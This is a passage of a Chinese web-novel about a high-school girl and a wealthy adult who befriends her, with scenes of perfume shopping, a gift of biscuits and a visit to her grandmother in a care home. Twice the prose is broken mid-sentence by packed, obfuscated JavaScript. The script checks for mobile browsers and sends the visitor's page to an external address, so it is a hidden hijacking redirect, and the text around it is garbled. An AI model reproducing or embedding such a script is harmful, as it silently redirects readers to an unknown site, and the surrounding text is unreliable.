“香水?”王瑜睁大眼睛,“好特别啊,像口红和高跟鞋一样,一下就有长大成人的感觉。”她用课本挡住脸,小声问,“什么样的香水,好闻吗?我能闻闻吗?” “那我明天悄悄带来。” “好啊好啊。”说完香水,王瑜接着道,“其实我一直对这些很感兴趣,可是老师家长都不让,总说你现在的重心是好好学习备战高考。”她说着叹气,语气却是对未来的憧憬和幻想,“熬过这段时间就好了,等高考完我就学化妆和穿高跟鞋!” 她用手肘碰碰江知意:“要不要一起,学完互相给对方化?” 这种久远的事江知意倒是没想过。 但她知道王瑜做这些是为了释放个性。 学校总要求你刘海儿不许过眉毛,不许化妆,不许染发烫发,不许你做一切与学习无关的事,压抑你的个性,让你的青春都与枯燥的题海和成绩排名绑定。 所以高考结束脱离学校的一刻,学生们才会迫不及待地体验那些从未体验过的东西,释放自己的个性,体验无数的可能性。 江知意对化妆兴趣不大,但她不想扫王瑜的兴,于是笑笑:“好啊。” “嘿嘿嘿,那就这么说定了!” 时间无声地流逝,转眼来到周日。 在江知意的计划里,应该是她先回家吃饭,然后再出门找傅延青。 可当她走出校门,她发现男人已经在对面等她了。 还是老样子,身旁没车,一身严肃到不近人情的黑西装,手里夹着支烟,漫不经心地在等她。 她呆了一下,王瑜已顺着她的目光看过去:“咦,又是你哥哥,他来接你的吗?” 江知意:“……应该。” “你哥哥对你好好啊,这都第几次来接你了。”王瑜艳羡道,“你快去吧,我回家了啊。” “嗯,拜拜,路上小心。” 江知意挥挥手,向马路对面跑去。 见她过来,傅延青掐灭烟向她走来。 “你怎么来了?”江知意首先开口。 “不是说好带你去买香水吗?”男人说着伸手,掂了掂她书包的重量,接着道,“书包给我提吧。” 这举动微妙又自然,江知意疑惑一瞬,后退道:“不用了,又不沉。” 她望了望四周,继续刚才的话题:“可你来得太早,我还没吃饭。” 她语气窘迫:“我饿了。” 心理上她很愿意请傅延青吃饭,毕竟他帮了她这么多。 可上一次请他吃饭,他都没动几下筷子。 他应该很看不上她的请客吧。 若按照傅延青的标准来,她又请不起。 江知意一时为难,不知该怎么办才好。 明明说好的下午,他怎么现在就来了? 让她请客也不是,不请也不是。 “正好,我也饿了,一起吧。”傅延青淡淡一笑,“带你去个地方,去不去?” 江知意疯狂摇头:“不去,去不起。” 开玩笑,傅延青吃饭的地方用屁股想都知道有多贵。 要是傅延青请她,她又被迫欠他一次人情; 可要她请傅延青,她又没那么多钱。 怎么去?拿头去。 “不贵的。”傅延青解释,“比你的香水便宜多了。” “而且。”他意味深长地停顿一下,说,“你不打算请我吃一次饭吗?” ……嗯,确实,她是该请他吃饭。 用一顿饭还他的人情,不过分。 想通之后,江知意点头:“不超过五百?好吧,我去。” 听她着重确认了一遍“不超过五百”,傅延青忍不住笑了,应道:“是,不超过五百。” 来到车前,江知意像上次一样问他能不能开窗。 傅延青点了头,心里却在想,是不是等某一日她不再要求开窗,他才算得到了她的信任? * 开车去吃饭的路上,经过某一个节点,江知意又一次感受到一个冰冰凉凉的东西从她身体里穿过。 她望向窗外,发现上次有这种感觉的也是这个地方。 ……奇怪,这个地方有问题? 但车开得太快,没等她细看,那个地方就被落在车后看不见了。 江知意压下疑惑,决定等傅延青送她回去的时候再好好看。 开到吃饭的地方用了二十分钟。 这是一个十分雅致的地方。 雅致到江知意庆幸今天是周日,她不用穿着校服来这里。 推门进去,俨然一副绿竹小桥流水的画面。 门口挂着风铃,随着门被推开,风铃便叮铃叮铃地响起来。 四周暗香浮动,江知意说不上来是什么味道,只觉得清淡好闻,似竹香,又似雨后的青草香。 店员看到他们进来,像早有准备一样地迎上来。 他们露出得体的微笑,微微弯腰道:“傅先生,这边请。” 傅延青略一点头。 江知意觉得他这一点头特别有腔调。 无比自然,无比从容,有种与生俱来、浑然天成的高贵感。 似乎他就应该被人这么恭而敬之地对待。 她跟在他后面,悄悄打量起周围环境。 除了绿竹,店内还有几颗老树的假景,虽是假景,却做到了几乎以假乱真的地步。 树干极粗极壮,苍劲有力,有风霜之感,顺着树干往上看,只能看到繁茂枝叶,一眼望不见顶。 再往前,走上小桥,江知意注意到桥下的水里竟然有鱼。 流水清澈,几尾红鱼在里面游动,像画一般诗意。 江知意忍不住惊叹,这家店的细节实在用心,光进门这短短几步路,她就已经对这家店生出了好感。 下了桥没走几步便来到包间。 包间内很宽敞,里面的两人座靠着一扇六边形的窗,从窗户往外望,能看到大片竹林和一条石子路,幽静无人,当真是将古朴与风雅做到了极致。 两人坐下,傅延青首先开口:“有什么忌口吗?” 江知意:“没有。” “那就按之前的菜式上吧。”傅延青看向服务员道。 江知意一懵:“我不用看菜单吗?” 男人一抬眼,慢悠悠道:“请我吃饭,不该我来挑吗?” ……也是。 菜很快上齐,一共六样,每份量都不大。 动筷子前,江知意默默估算,只有六样,应该不会太贵。 六道菜中,江知意第一眼注意的是一个绿菜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585784|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那菜很特别,上面有一层像水珠又像冰霜的东西,和千岛酱绊在一起做凉菜,一口咬下去像水一样化开,清爽又特别。 她从未吃过这样的东西,一时觉得新鲜。 见她连夹了几筷子同样的菜,傅延青问:“喜欢吃这个?” 江知意点头:“这个菜叫什么?” “冰草。”傅延青说。 冰草?果然没听说过。 江知意记下这个名字,又尝起别的。 除了冰草这道凉菜,剩下的菜都很家常,看不出昂贵和特别之处。 可江知意吃下去,才知道把家常做到极致是什么感觉。 譬如那道辣椒炒肉。 可以说她从未吃过这么好吃的辣椒炒肉,无论是肉质还是炒的火候,无论是佐料还是口感。 同样是辣椒炒肉,吃过这家店以后她才知道从前吃的那些有多黯然失色。 能把家常菜做到这种地步,果然贵有贵的道理。 一顿饭吃得很安静,等两人吃完,服务员拿来账单,看到上面的数字,江知意悬着的心终于放下。 179,比她想象的还便宜一些。 对面的傅延青看着她,眼里似乎有笑意,他轻抬下巴,说:“请客吧。” 江知意点头,爽快付了账单。 这顿饭请完,江知意心里好受不少。 她不喜欢欠人人情,总觉得亏欠的东西某一天会以百倍的方式向她讨回来。 现在傅延青带她还了一点,无论如何,这是个好现象。 “吃好了吗?好了就走吧,我带你去卖香水的地方。” “嗯,好了。” 离开的时候,傅延青拿起手机,看到上面弹出一条提示框。 ——您尾号1486卡10月15日13:08分支出1790元,余额113,158,376.55元。【光华银行】 他毫不在意地一笑,随手将短信删除,迈步跟上了江知意。 * 卖香水的地方在一个购物商场里。 江知意不懂商场的档次,但看地下停车场和电梯的装修,这应该是一个非常高端的商场。 电梯里有导购牌,江知意看着眼花缭乱的外文字母,直觉应该都是奢牌。 ……等等,奢牌也会卖500的香水吗? 电梯停在三层,视线开朗后,她看着宽阔的商场和来往的人群,拘谨又不安。 商场人不多,但他们的穿着气质看起来和傅延青一样,处处透着低调的奢华,看起来非富即贵。 她在这里格格不入,好像误入了一个根本不属于她的世界。 男人看出她的紧张,淡声道:“跟好我。” 江知意只好点头。 其实从电梯门打开那一刻她就有点后悔了,她只是个普通人,根本不该来这种地方。 可是买香水这件事又是她主动提的。 ……算了,来都来了。 傅延青带她径直走向一家专柜,对着店员直截了当道:“TeenSpirit,再拿一瓶。” “好的傅先生,您稍等。”店员说着转身,从玻璃柜里拿出一瓶香水开始打包。 趁店员打包的工夫,江知意默默看了几眼玻璃柜的标签。 标签写了香水名、产地、前中调的味道和价格。 她特地看了TeenSpirit的价格,上面写着500,傅延青真的没骗她。 除了TeenSpirit,旁边几款香水的价也差不多,400,500,550。 这种高端商场里竟然有这么便宜的香水店,江知意觉得很神奇。 也不知道傅延青怎么找到的。 “江知意。”傅延青叫她,“过来付钱。” “啊?”江知意回神应道,“来了。” 结完账,店员将打包好的香水和小票一起递给她:“女士,您的香水。” “谢谢。”江知意接过香水。 香水的打包和傅延青送她的那个一模一样,看来他真的只是随手买了个礼物送她。 她暗暗松了口气。 装好香水从专柜离开,刚走几步,后面就传来一个吊儿郎当的声音:“嗯?傅大总裁?” 江知意没反应过来是在叫傅延青。 直到傅延青皱眉转身,她才后知后觉“傅大总裁”指的是傅延青。 她跟着转过去,看到一个神情似笑非笑的男人走来。 男人原本在看傅延青,这时才注意到傅延青身边的她。 一瞬间,他脸上的表情变换可谓十分精彩。 惊讶,疑惑,茫然,迟疑。 贺凌舟看看傅延青,看看江知意,看看傅延青,又看看江知意。 最后他看回傅延青:“她是?” 14. Round 1 江知意猜他应该是傅延青的好友。 虽然他叫的是“傅大总裁”,但语气却十分熟稔,一听就是多年相识。 他问她是谁,江知意也很好奇傅延青会怎么回答这个问题。 “朋友。”傅延青这样回答。 这话一出,不止贺凌舟傻了,江知意也愣了。 朋友? 傅延青在要好的朋友面前说她是朋友? 他们究竟哪一点像朋友。 贺凌舟:“???” 他茫然地将他们两人看来看去,半天没憋出一个字。 傅延青:“还有事?没事我们走了。” 贺凌舟:“啊?哦……没事。” 似乎觉得贺凌舟的表情十分有趣,傅延青笑了一声,转身对她道:“走了。” 江知意回神,连忙跟上。 期间她回头看了一眼,贺凌舟仍站在原地,一副“我是谁我在哪儿”的样子。 ……事情的发展真是越来越魔幻了。 她真的越来越看不透傅延青了。 两人上车,等周围彻底安静下来,江知意忍不住问:“你刚才怎么说我们是朋友?” 男人发动好车,闻言手一顿,转过头来看她:“那你说我们是什么关系?” 四目相对,他看她的眼神竟然很认真。 似在很认真地请教她这个问题,很认真地准备听取她的意见。 很难想象,这样的眼神会出现在……“傅大总裁”身上。 江知意愣了一瞬,不自然地错开他的目光,看向方向盘。 “……什么关系也不是,至少不是朋友。” 她说不上来他们的关系算什么,可她知道朋友之间最重要的一点就是坦诚相待。 傅延青对她并不坦诚,自然也就算不上朋友。 “是吗。”傅延青听到这样直白的话也不恼,轻轻弯了下唇道,“我还以为这几次下来我们算朋友了呢。” 他接着道:“你喜欢正式一点?” “什么?” “你喜欢正式一点,那我就正式一点问你。”傅延青直视着她,“愿不愿意和我做朋友?” 江知意:“……” 她撇过头:“为什么非要和我做朋友?我们又不是一个世界的人,能有什么共同语言。” “不是一个世界的人就不能做朋友了?” 傅延青步步追问,江知意一噎,沉默片刻道:“朋友之间,要么高山流水灵魂共振,要么坦诚相待,你是哪一个?” “坦诚相待。”傅延青毫不犹豫。 江知意的心瞬间漏跳一拍。 “你觉得我接近你是莫名其妙?我不是说过了,你有些地方很像过去的我,我帮你,就像帮过去的我。至于后来……”他话锋一转,慢慢道,“江知意,你很特别。” 江知意沉默。 她望着空旷的地下车库出神,好半晌才问:“什么地方,像过去的你?” 傅延青却不答反问:“你发烧那天,家里人为什么不来接你?” 这句话几乎瞬间让江知意的心刺痛了一下。 苏语琴说过的话好像还在耳边,一字一字,尖锐又薄情。 她咬了下嘴唇,竭力维持脸上的平静:“我妈妈在上班,她工作很辛苦,我不想让她担心,所以没告诉她。” “爸爸呢?” “爸爸也一样。” 两个问题回答完,车里陷入漫长的沉默。 江知意不说话,傅延青也不说话。 片刻后,车缓缓动了起来,驶出了地下车库。 江知意摇下车窗,看到回程的路和来时一模一样,心里微安。 拐过几个弯,车逐渐逼近那个怪异的地方。 江知意打起精神准备细看,傅延青突然开口。 “我上学时生病也没有家人接。” 平静又毫无波澜的一句话,江知意却一愣,几乎不受控制地转头看傅延青。 窗外的风掠过,卷起她的长发,呼啸声中,冰凉的东西穿过她的身体。 男人手搭在方向盘上,神情平静,仿佛刚刚说话的人不是他一样。 可江知意却无法忽视这句话。 “什么意思?”她问。 “字面意思。”傅延青继续,“一个死了,一个喜欢私生子,所以他们都不来接我。” “后来呢?” 傅延青却只笑不说话。 他目视着前方没有看她,唇角笑容极淡,似陷入了回忆。 后来,大概是个不好的结果吧。 傅延青没说,但江知意也隐约猜到了什么。 这一打断,江知意也就彻底错过了那个奇怪的地方。 她再看向窗外,已经接近她从小长大的熟悉区域了。 十分钟后,车照旧停在离江知意家里还有一站路的地方。 江知意抱起书包准备下车,身侧的男人蓦地开口:“所以看到你发着烧病恹恹站在校门口时,我没办法拒绝你。” * 傅延青再回去时,不出所料看到了门口蹲守他的贺凌舟。 “去送她回家了?”贺凌舟表情微妙。 “嗯。”傅延青上前,拇指按上指纹锁,识别成功后,门锁响起一声提示音。 他走进去,贺凌舟自觉跟上。 “你之前说起的女人,不会就是今天这个女……”想到江知意的样子,贺凌舟改口,“女孩吧?” 傅延青脱下外套,随手搭在沙发上,闻言斜睨他一眼:“怎么?” “你喜欢这样的?”贺凌舟拧眉,表情愈发微妙。 “想太多。” “那你为人家费那么多心思干嘛?她手里拿的香水我可看见了,RJ的,就算是你,没个六位数也下不来。”贺凌舟喋喋不休,“这就算了,重点是我去RJ的店里,店员竟然按照你的意思把所有标签重打了一遍,三百,五百,我看到那数字都怀疑是我瞎了。” 傅延青懒得解释,一言不发打开冰箱给自己倒了杯红酒。 “我也要。”贺凌舟看到红酒,立刻自来熟地取了杯子上前。 “我说,那女孩才多大,一脸学生气,看着还没上大学吧?”趁傅延青给他倒酒的功夫,贺凌舟继续,“十七,十八?高中生?” 他越说越痛心,满脸都是“我怎么没看出你是这样的人”,最后用一句话总结:“傅延青,你禽兽啊!” 傅延青:“……” 他倒酒的动作一顿,接着收起酒瓶,慢条斯理道:“看来还是不想喝。” 贺凌舟:“……”他赶紧换了表情,“别别别,想喝想喝,倒上倒上。” “不是说我禽兽吗?这会儿知道找禽兽讨酒了?”傅延青淡淡撇他一眼。 “这……”贺凌舟表情纠结,“那你也不能让我昧着良心……” 傅延青眯起眼睛,就着红酒欣赏起贺凌舟的表情。 等欣赏够了才慢吞吞开口。 “你想多了,我对她没意思。” “哦——?”贺凌舟拖长音调反问。 傅延青低眸,静了片刻才道:“她再怎么样,也比傅呈远骑到我头上好。” 听到“傅呈远”这个名字,贺凌舟的玩笑神色瞬间淡了下去。 他清楚傅延青有多么不喜欢这个弟弟,也清楚自己什么时候能开玩笑,什么时候不能。 “猜猜他最近干了什么。”傅延青放下酒杯。 贺凌舟没说话,不由自主屏起了呼吸。 “他说他不要家里的公司,他要自己创业。” “自己创业?”贺凌舟嘴角抽了抽,“他真能完全脱离傅氏集团,白手起家?” “就算他肯,他那个亲爹也不肯。”傅延青的眼神慢慢冷下来,“他怎么舍得傅呈远从零开始。” 那不就是要从傅氏集团和傅延青身上吸血了? 贺凌舟这样想,却不敢这样说。 所谓吸血鬼,就是吸取榨干别人的资源,来使自己膨胀。 “那你打算怎么办?” “不怎么办。”傅延青嘴角扯出一个冷冷的笑,“他们喜欢玩父子情深就随他们去,我没兴趣陪他们玩。” “那你就这样拱手让人了?” “当然不。” 但具体怎么个“不”法,傅延青没说。 他说完这句便挥了挥手,脸上多出一点疲惫之色:“你先回去吧,我一个人静静。” 贺凌舟欲言又止半天,只得离开。 窗外的夕阳落了进来,傅延青抬头想到什么,向阳台走去。 那里种满了他的花,他推开门,正看到那些花迎着晚风轻轻飘扬的样子。 霞光绚烂,霞光下的花也被渡上一层温暖色彩,美得惊心动魄。 他轻轻蹲下,伸手停在枝叶附近,终究没有触碰。 有时候他也会羡慕这些花。 这样蓬勃而有生命力。 不像他,只是一个傀儡和工具。 而唯一能让他摆脱这种生活的人,是江知意。 傅延青想起第一次听到系统声音的时候。 彼时他隐隐发现了这个世界的不对劲儿,发现了一些无法用逻辑解释的事,正一个人坐在湖边沉思,系统的声音就那样跳入了他脑海。 系统说:“你好宿主,我是系统XA3211,现在来为你发布任务……” 那声音轻快又活泼,说着远超出他认知的东西。 傅延青的眼皮跳了又跳。 他在那一天知道了他的世界源自一本书,也在那一天知道了“江知意”这个名字。 “明白吗宿主,你要获得江知意的好感度才能离开这个世界。” “多少好感度?”傅延青问。 “一百。” 一百,傅延青在心里默默重复这个数字。 怎样才能获得一百的好感度? 认识江知意的第45天,傅延青再度思考起这个问题。 * 江知意拿着香水回家,脑子里还是傅延青对她说的最后一句话。 ——“所以看到你发着烧病恹恹站在校门口时,我没办法拒绝你。” 他说这句话时的声音很轻,轻到下一秒就被街上的噪音淹没。 她眨了下眼睛,思绪慢到几乎静止。她机械地点了下头,机械地打开车门下车,直到车开远消失在她视线中,她才意识到忘了跟他说谢谢。 ——谢谢他带她去买香水,谢谢他送她回家。 如果傅延青说的是真的,那从逻辑上来讲,他的理由有一定的合理性。 可是,她敢赌所谓的真假吗,江知意问自己。 当然不敢。 除非她亲眼所见,否则她决不可能毫无保留地相信一个陌生人。 傅延青帮了她,她可以在安全距离适当地请他吃饭,还他礼物。 但也就仅限于此了。 想到此,江知意打开手机看了下余额,决定再给傅延青买一件礼物。 就,200以内好了。 * “你要给你哥哥买礼物?”正是早读时间,老师坐在讲台上写教案,王瑜看一眼老师,用书挡住脸,小声道,“他刚送完你你就接着送,不会是还他礼物吧?你们兄妹之间这么客气?” “不是,是生日礼物。” 这么说王瑜就懂了,她眨眨眼:“我想想,既然他是你哥哥,那他肯定不在意价钱,要不然你亲手做一件礼物送他呢?” “不行。”江知意摇头,“每天作业都写不完,哪有时间做礼物。我想的是给他买点什么,最好是消耗品,二百左右,你有推荐吗?” “消耗品?为什么?” “因为……”江知意犹豫了下,“他用的东西都比较贵,我没那么多钱,买了他也用不上,不如消耗品,随手就用了。” “对哦!”王瑜恍然大悟,“那你给他买吃的吧,有一家巧克力饼干特别好吃,在网上很火的,就是这个……”她说着撕了张便签纸开始写名字,“白色恋人,薄饼干夹白巧克力,我吃过一次,超好吃。” 白色恋人? 这个名字似乎在哪儿听过,没记错的话是一款日本巧克力。 江知意接过纸条,点点头:“好,我回去看看。” 晚上回家,江知意用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585785|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机查了下“白色恋人”,发现确实适合用来送礼。 一盒158元,内含24块巧克力夹心饼干。 包装美丽,价格也美丽。 既不会显得廉价,也不会让她负担不起。 至于包装上的名字…… 应该没事。 这款饼干在网上很火,各种各样的人都买来送礼或自己吃,没人规定只有恋人才能吃。 打定主意后,江知意给傅延青发消息。 xyz:【你喜欢吃巧克力吗?白巧克力。】 她没指望傅延青秒回,放下手机开始写作业。 直到中途起来喝水,才发现傅延青一个小时前就回了消息。 F:【喜欢。】 他什么都没问,只回答了喜欢,江知意心里微安。 喜欢就好。 xyz:【那你周日有空吗?我有礼物想给你。】 傅延青秒回:【好,老时间。】 得到他的肯定答复,江知意彻底放心,手机切换到购物APP,下单了一盒白色恋人。 * 周日的时候,窗外已经开始飘枫叶了。 天气越来越冷,江知意出门的时候给自己加了条围巾。 中午她特地给王瑜打了招呼,背着书包一个人先走一步。 出校门后,果然在马路对面看到了傅延青。 男人今天在西装外面加了件黑风衣,越发衬得他身形修长,气质斐然,即便远远一段距离看不清他的脸,也无端让人觉得英俊。 江知意深吸一口气,从书包里取出“白色恋人”,小跑着过了马路。 随着脚步声越来越近,傅延青抬起头。 男人长睫漆黑,黑眸如墨般深浓,这样看向她时,有种异样的认真。 一个眼神就隐隐表达出他在等她的礼物。 “傅……”江知意开口,却在第一个字就卡住。 她突然觉得,这样对他直呼其名好像不太礼貌。 其一,他比她大,其二,那天遇到的男人叫他“傅大总裁”。 无论年龄身份地位,还是他帮过她,她好像都不应该直呼其名。 她迟迟未说完,落在傅延青眼里俨然成了另一个意思。 “傅?”他重复,接着好笑道,“你不会忘了我叫什么吧?” “不是。”江知意连忙摇头,“我记得。” “那我叫什么?” “……”江知意只好道,“傅延青……先生。” 听到最后两个字,傅延青挑眉:“先生?我那天好像不是这么教你的。” 他俯身,直视着她的眼睛:“我不是说了吗,我叫傅延青,直接叫我的名字就可以,不用加称呼。” “可是这样不礼貌。” 男人忍不住笑了:“礼不礼貌是由被称呼者来决定的,只要我不觉得不礼貌,你怎么叫都可以。” 好像是这么个道理。 “现在再叫一遍我名字听听。” “……”她酝酿几遍,开口,“傅延青。” “嗯。”傅延青应道,“我的礼物呢。” 说到礼物,江知意才反应过来,赶紧将手上的巧克力递给他:“在这儿。” 巧克力的盒子是蓝白配色,上面系了漂亮的丝带,因为太过精致,江知意没敢拆,收到后就原封不动装进了书包。 她第一次买这么贵的巧克力,自然希望傅延青能喜欢,可傅延青看着这盒巧克力,却迟迟没有伸手接过。 几秒后,气氛渐渐尴尬,江知意心里紧了紧,不解道:“怎么了?你不喜欢吗?可我之前问你的时候,你说喜欢呀。” 这句话后男人终于回神,伸手接过。 他看着上面的字,轻念出声:“白色恋人?” 江知意这才恍然大悟他在想什么。 一定是他平时不接触这种东西,没听说过这个牌子,所以看到名字误会了。 她连忙解释:“只是品牌名,在我们这里很火的,大家都买来送人,所以我也买来给你尝尝,当做你帮我的谢礼。” 傅延青将盒子正反面看了又看,说:“原来如此。白色恋人,挺有趣的。” 他拆开包装,露出里面独立包装的24块饼干,随口问道:“好吃吗?” “不知道,我同桌说很好吃。” 别说吃了,就连盒子里的包装她都是第一次见到。 男人拆了一包正准备吃,闻言手一顿,反问:“不知道?没吃过的东西就给我吃?” 江知意以为他在嫌弃,有些急,反驳道:“因为我不会给自己买这么贵的饼干啊,大家都说好吃,你尝一下再嫌弃也不迟啊。” 傅延青抬头看过来,一脸莫名:“我什么时候说我嫌弃了?” “那你什么意思?” “我的意思是,有什么好东西,不用都紧着我,自己不舍得吃。”他将拆开的饼干递到她嘴边,“有福同享,你也尝尝。” 话音落下的同时,饼干和白巧克力的香气也扑向她鼻尖。 江知意下意识咬了一口,饼干、巧克力和牛奶三种味道同时在她口中化开。 非常好吃。 口感细腻,甜而不腻,吃了还想再吃。 一抬头,傅延青正看着她,眼睛像在笑,眸光里有隐隐的温柔:“好吃吗?” 江知意捂住嘴,连连点头。 “看来你品味不错。”傅延青说着,将剩下半块放进她手心,接着又数了11块饼干给她,“一人一半。” 江知意咽下饼干,又摇头:“不用,这些都是你的,本来就是我买给你的礼物。” “是吗。既然是我的礼物,不应该我来决定它的去处吗?”他又笑了,“分那么清做什么,下次我送你什么,也一人一半就好了。给你装书包?” 江知意只好点头。 装完饼干,傅延青才拆开一包自己尝。 他吃东西的样子很优雅,慢条斯理,赏心悦目,极有腔调。 江知意看着他吃完一块,期待问道:“怎么样,好吃吗?” “好吃。”男人微微一笑,“谢谢你的礼物,我收下了。” 15. Round 1 傅延青吃完将包装盒盖上,问她:“送你回家?” 江知意摇头:“我要去看奶奶。” “差不多。”他轻抬下巴示意,“车在前面,我送你。” 他说罢先行一步,江知意看着他的背影眨了眨眼,背好书包跟了上去。 养老院是他们第二次相见的地方,傅延青来过,无需她开口男人也能找到路。 一路沉默,快到地方时,傅延青忽然开口:“养老院可不是什么好地方,你家里怎么会把老人送来这种地方?” 江知意心跳一慢,抓着书包带子的手不由用力几分。 原来是个人都知道养老院不是好地方。 苏语琴怎么就不知道呢? 她总说养老院好,有人照顾,有老人一起作伴,可江知意知道她只是怕麻烦。 怕麻烦,所以才把奶奶丢在这里。 江知意压下那股情绪,勉强笑道:“不知道。” 她不想多提的意味明显,傅延青识趣地不再追问。 车停在正门前,江知意打开车门下车,朝傅延青道别:“谢谢你送我过来,再见。” 傅延青没应,目光缓慢从她脸上移到书包上,弯了弯唇:“记得看好书包。” 否则丢了他还得帮她去找。 江知意显然也想起上次丢书包的事,她脸上闪过一丝窘迫,抓紧书包带子,匆匆点了下头,转身进了养老院。 穿过最前面的空地和走廊,江知意来到奶奶房间。 刚过午饭时间,隔壁床的老人在午睡,奶奶则坐在窗边给自己削苹果。 她轻手轻脚走进去,在奶奶面前停下,轻声道:“奶奶。” 老人抬起头,浑浊的眼睛里闪过一丝陌生。 她笑了笑,语气和蔼道:“小姑娘,你找谁?” 江知意心里一凉。 老年痴呆就是如此,记忆力越来越差,前段时间还能记得她是常来看她的小姑娘,今天就看她如陌生人。 奶奶又把她忘了。 她怔了几秒才开口:“奶奶,你不记得我了吗?” 老人费力想了想,困惑又歉疚地看她:“我们见过吗?奶奶记性不好,可能是忘了。” 江知意:“……” 她听得心里难受,却不敢表现出来,只能努力换上轻松的笑容说:“见过,奶奶,上周我来看周奶奶时,还帮您剥了几个橘子呢。” “这样啊……”奶奶茫然地点头,接着又笑,“那你今天也来找周奶奶吗?她不在,她出去散步了。” “不要紧,我看过周奶奶了。”江知意忍着心酸,俯下身道,“外面阳光很好,奶奶,要不我陪您散散步吧,陪您走走我就回家了。” 奶奶看了眼她身后的书包,犹豫道:“不会耽误你吧?没事,你要是忙就先回吧,我在这儿什么时候都有人陪。” “不忙奶奶,来,我扶您起来。” 老人露出笑容,一遍遍说着“不麻烦你吧”,江知意便一遍遍回“不麻烦。” 奶奶怕麻烦和耽误别人,可她也是真的开心有人陪。 两人沿着走廊慢慢散步,走累了就在廊下的长椅上坐一会儿,晚秋的风拂过脸颊,凉凉的,很舒适。 再穿过走廊来到大楼前的空地,是一片活动区域。 有老人做运动的健身区,也有老人下棋闲聊的娱乐区。 江知意打算带奶奶绕一圈就回家,却不想在这里看到了一个不应该出现的人。 傅延青。 他竟然没走。 此刻他坐在最靠边的长椅上,独自一人,沉默地望着空地上的老人们。 他似乎什么都看,又似乎什么都没看,一副透过他们在想事情的样子。 他在做什么? 江知意疑惑几秒,收回目光。 傅延青看起来有心事,她还是不要去打扰他了。 健身区的健身器材和公园里的类似,大多温和,有拉手环的,有扭腰的,还有打乒乓球的。 绕着最外围走了半圈,来到娱乐区。 这儿的老人多在闲聊和下棋,偶尔几个落单的,会一个人坐在远处看书。 闲聊和下棋的都自成一堆,其中最热闹的当属中间几桌下棋的。 最里面坐着两个执棋的,周围一圈都是背着手围观的。 偶尔有人指点江山该下哪里,偶尔下到精彩之处,众人会发出一阵不大不小的喝彩声。 江知意好奇瞥了一眼,看到他们下的是象棋。 奶奶跟着她看,同样露出了好奇的目光。 两人凑在外围看了一会儿,一个人停在她们身边。 最先进入视线的是一角黑色风衣,江知意慢慢抬头,看到了傅延青的脸。 视线相撞后,男人微微弯唇,接着单膝蹲下——却不是对着她,而是对着奶奶。 他仰起头,神色温柔而有耐心:“奶奶,您看了这么久,是不是也想下?想下的话我陪您。” 这个举动远远超出江知意的预料,她愣在原地,倒是奶奶连连摆手:“不是不是,我就随便看看,我下不来的。” “试试也没关系。”傅延青微笑。 不得不说,他笑起来的确好看。 比起不笑时的冷淡模样,他笑时会有种说不出的温柔。 似冰雪消融,无端让人生出亲近之心。 几句话下来奶奶被他打动,坐在旁边的空桌上拿起了棋子。 她不太会下,傅延青便陪她下最简单的五子棋。 江知意坐在奶奶旁边,心脏紧张得砰砰直跳。 老年痴呆不止记忆力退化,还有思维能力和认知能力的退化。 傅延青不知道奶奶的病,她怕他因为奶奶的反应迟钝而露出不耐烦的表情。 老人在养老院待久了,没有亲人照顾,无依无靠,约莫最怕的就是别人的不耐烦——她会觉得自己没用,觉得自己是个累赘。 如果……如果傅延青敢对奶奶不耐烦,她一定对他翻脸。 可是出乎意料,从头至尾,傅延青都没有露出任何不耐神色。 简简单单一盘五子棋下了二十分钟,奶奶多次看着棋盘发呆,他也不催促,就那样默默等着,直至奶奶放下棋子。 耐心到不可思议。 江知意的心也从一开始的紧张变得柔软。 她静静看着两人下棋,秋风吹过脸颊,心里有种久违的宁静。 阳光温柔,岁月静好。 一局结束后后奶奶觉得不好意思,下得又烂又浪费时间,便说要回去。 江知意连忙站起,主动道:“奶奶我送你。” 临走前她看了一眼傅延青,男人也在看她。 两人的眼神中都涌着一股说不清道不明的东西。 她有话想对傅延青说,看来傅延青也是。 目光交汇间,两人达成了共识。 将奶奶送回房间再出来,傅延青果然还在原地等她。 江知意走上前,第一次用最大的诚意和他说话:“谢谢你陪我奶奶下棋。” 男人点头,示意让她坐。 “会下象棋吗?”他问。 “会一点。” “下一盘试试。” 江知意依言摆好棋子。 棋局开始,没走几步傅延青就看出她的稚嫩,不由问道:“自己学的吗?” “不是,我爸爸教我的。” 难得和人提起江淮平,江知意心里一阵恍惚。 很小的时候,江淮平每次回家还会陪她玩。 他就是在那时教她下象棋的。 可惜她年幼,象棋学得一知半解,多年过去她忘记大半,几乎只记得棋子行走的规则了。 傅延青吃掉她几个子,闻言笑了笑,继续问:“和你爸爸关系很好?” 江知意抿唇,否认道:“一般。” 或许小时候是的,可现在他已经很少关心她了。 他和苏语琴推来推去,谁都不愿意去学校见老师。 “这样。”傅延青不再追问。 江知意想了想,主动问起另一个话题:“你呢,你怎么还在养老院?我以为我下车后你就走了。” “随便看看。”他淡淡解释,“你说你奶奶在这里,我还以为这里有什么我不知道的优点,结果看来看去也没看出哪里好。” 原来他之前是在看这个。 江知意勉强笑了笑:“我也觉得这里不好,可大人的事我管不了。” 说话间,手下的局势变了又变,朝着有利于她的方向发展。 她不由弯唇。 “那就多来陪陪她。”傅延青接道。 “嗯,我知道。” 五分钟后,傅延青连吃她三子,棋局几乎呈现出一边倒的局面。 江知意看了几遍剩下的棋子,颓然收手:“我输了。” 